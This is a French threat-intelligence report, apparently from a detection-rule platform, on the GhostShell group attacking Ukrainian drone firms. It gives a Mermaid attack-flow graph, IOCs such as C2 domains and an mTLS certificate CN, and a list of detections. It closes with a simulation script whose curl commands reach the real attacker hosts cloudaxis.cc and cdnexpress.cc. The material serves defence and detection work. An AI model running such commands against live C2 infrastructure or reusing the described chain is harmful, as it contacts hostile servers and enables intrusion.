GhostShell (MB-0009) : Ciblant les opérations de drones de l’Ukraine et la chaîne d’approvisionnement de défense
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un nouveau groupe menacé suivi sous le nom de GhostShell cible l’écosystème des UAV et des drones en Ukraine. L’opération utilise des malwares avancés, y compris des implants authentifiés par mTLS et des chargeurs résidents en mémoire. Pour obtenir un accès initial, les attaquants utilisent des documents leurres se faisant passer pour une entreprise ukrainienne de drones.
Enquête
L’analyste a découvert une chaîne d’intrusion à plusieurs étapes basée sur des scripts VBS, des implants activés mTLS tels que 122.exe, et des chargeurs basés sur Telegram incluant update.exe. L’ingénierie inverse a révélé une logique de déchiffrement XOR personnalisée, un PKI privé intégré, et l’utilisation de Xray Core pour le tunneling furtif. L’enquête a également identifié l’activité du Vidar infostealer au sein de la même infrastructure.
Atténuation
Les organisations devraient appliquer une validation stricte des certificats mTLS et surveiller l’utilisation non autorisée des certificats clients. La visibilité des points de terminaison doit être améliorée pour détecter le chargement en mémoire, ntdll.dll déboîtage, et les changements suspects concernant la persistance du Windows Run key. Les équipes devraient également surveiller un trafic sortant anormal vers des domaines connus de commandement et de contrôle et la récupération de configurations pilotée par Telegram.
Réponse
Les systèmes affectés doivent être isolés immédiatement, suivis d’une analyse de la mémoire pour identifier les implants en mémoire. Les journaux réseau doivent être examinés pour le trafic impliquant cloudaxis.cc and cdnexpress.cc. Les équipes de sécurité devraient également rechercher les fonctions de hachage SHA-256 référencées et surveiller le certificat client mTLS spécifique CN=ed6e62814295701f.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 classDef operator fill:#ff9900 %% Initial Access and Execution Phase action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Ingénierie sociale utilisant des documents PDF leurres<br/>se faisant passer pour Besomar pour cibler l’écosystème des UAV."] class action_phishing action action_exploit["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Description: Exploitation de CVE-2025-8088 et CVE-2025-6218<br/>via l’archive malveillante Besomar_documentation.rar."] class action_exploit action process_vbs["<b>Process</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/>Description: Fichier VBS déposé dans le dossier de démarrage de Windows<br/>exécutant des chaînes encodées en Base64 via ExecuteGlobal."] class process_vbs process %% Persistence and Payload Download action_persistence_startup["<b>Action</b> – <b>T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</b><br/>Description: Fichier VBS placé dans le dossier de démarrage pour la persistance."] class action_persistence_startup action network_download["<b>Network</b> – <b>T1105 Ingress Tool Transfer</b><br/>Description: Téléchargement de charges utiles secondaires depuis cloudaxis.cc."] class network_download network op_branch(("AND")) class op_branch operator %% Path 1: 122.exe malware_122["<b/>Name: 122.exe<br/>Description: Chargeur qui décrypte un PE intégré en utilisant XOR<br/>et l’exécute en mémoire."] class malware_122 malware action_fingerprint["<b/>Action: Empreinte de l’Hôte<br/>Description: Collecte du nom de l’ordinateur, nom d’utilisateur, et PID."] class action_fingerprint action network_c2_122["<b/>C2 Communication: cdnexpress.cc<br/>Description: Utilise un certificat client mTLS unique pour l’authentification."] class network_c2_122 network action_screen_cap["<b/>Action: Capture d’écran<br/>Description: Capture d’écran via GDI+."] class action_screen_cap action action_persistence_reg["<b/>Action: Clés de Registre<br/>Description: Établit la persistance via les Clés de Registre Windows Run."] class action_persistence_reg action %% Path 2: update.exe malware_update["<b/>Name: update.exe<br/>Description: Chargeur en mémoire récupérant la config C2 depuis Telegram."] class malware_update malware action_anti_analysis["<b/>Action: <b>T1562.001 Affaiblir les Défenses: Désactiver ou Modifier des Outils</b><br/>Description: Détacher les outils EDR/surveillance en patchant ntdll.dll."] class action_anti_analysis action action_metasploit_stager["<b/>Action: <b>T1059.003 Interpréteur de Commandes et de Scripts: Shell de Commande Windows</b><br/>Description: Exécute un chargeur HTTPS de style Metasploit en mémoire."] class action_metasploit_stager action %% Path 3: 22.exe et Vidar malware_22["<b/>Name: 22.exe<br/>Description: Lanceur multi-étapes utilisant le client Xray Core."] class malware_22 malware network_vless["<b/>Network: <b>T1573 Canal Chiffré</b><br/>Description: Tunneling de trafic via une connexion VLESS."] class network_vless network malware_vidar["<b/>Name: Vidar Malware<br/>Description: Outil de vol de credentials et de données ciblant les mots de passe de navigateur<br/>les cookies, les portefeuilles, et les artefacts de messagerie."] class malware_vidar malware %% Connection Logic action_phishing –>|conduit à| action_exploit action_exploit –>|résulte en| process_vbs process_vbs –>|utilise| action_persistence_startup action_persistence_startup –>|déclenche| network_download network_download –>|livre| op_branch %% Branhes vers charges utiles op_branch –>|charge_utile_1| malware_122 op_branch –>|charge_utile_2| malware_update op_branch –>|charge_utile_3| malware_22 %% Flux 122.exe malware_122 –>|effectue| action_fingerprint malware_122 –>|communique_avec| network_c2_122 malware_122 –>|capable de| action_screen_cap malware_122 –>|assure| action_persistence_reg %% Flux update.exe malware_update –>|récupère_config_de| action_anti_analysis action_anti_analysis –>|exécute| action_metasploit_stager %% Flux 22.exe malware_22 –>|tunnel_via| network_vless network_vless –>|déploie| malware_vidar
Flux d’Attaque
Détections
Nom de Fichier Court (via cmdline)
Voir
LOLBAS WScript / CScript (via création_de_processus)
Voir
Utilisation Suspicious de CURL (via cmdline)
Voir
Binaire / Scripts Suspicious dans l’Emplacement Autostart (via événement_de_fichier)
Voir
Abus Possible de Telegram comme Canal de Commande et Contrôle (via requête_dns)
Voir
Tentative d’Exploitation Possible de CVE-2025-8088 / CVE-2025-6218 (Vulnérabilité WinRAR) (via événement_de_fichier)
Voir
Command and Control Suspect par Demande DNS de Domaine de Premier Niveau (TLD) Inhabituel (via dns)
Voir
Détecter la Communication et le Téléchargement de Charge Utile de l’Infrastructure GhostShell [Connexion Réseau Windows]
Voir
Persistance de Malware GhostShell via le Dossier de Démarrage [Événement de Fichier Windows]
Voir
Exécution de Simulation
Préalable : Le Test de Télémétrie et de Baseline doit être réussi.
Rationale: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront une mauvaise évaluation.
-
Narratif d’Attaque & Commandes : L’adversaire a obtenu un premier accès et tente de récupérer une charge utile spécialisée (
122.exe) pour renforcer le contrôle sur la cible. Pour rester discret, le malware utilise un domaine CDN détourné ou apparemment légitime (cloudaxis.cc). Après le téléchargement, le malware tente de « battre le cœur » ou d’envoyer de la télémetrie à l’infrastructure C2 via un point de terminaison d’analyse spécifique (cdnexpress.cc/analytics). La simulation utiliseracurlpour imiter ces requêtes GET spécifiques afin de déclencher la logique de détection basée sur l’URI. -
Script de Test de Régression :
# Simulation du Téléchargement de Charge Utile GhostShell Write-Host "[+] Simulation du Téléchargement de Charge Utile GhostShell en cours..." curl.exe -I "https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe" # Simulation de la Communication GhostShell C2 (Analytics) Write-Host "[+] Simulation de la Communication GhostShell C2 en cours..." curl.exe -I "https://cdnexpress.cc/analytics" -
Commandes de Nettoyage :
# Aucun fichier n'est réellement téléchargé dans cette simulation (utilisation de -I pour les en-têtes uniquement) # Aucune modification permanente n'est apportée au système. Write-Host "[+] Simulation terminée. Aucun nettoyage requis."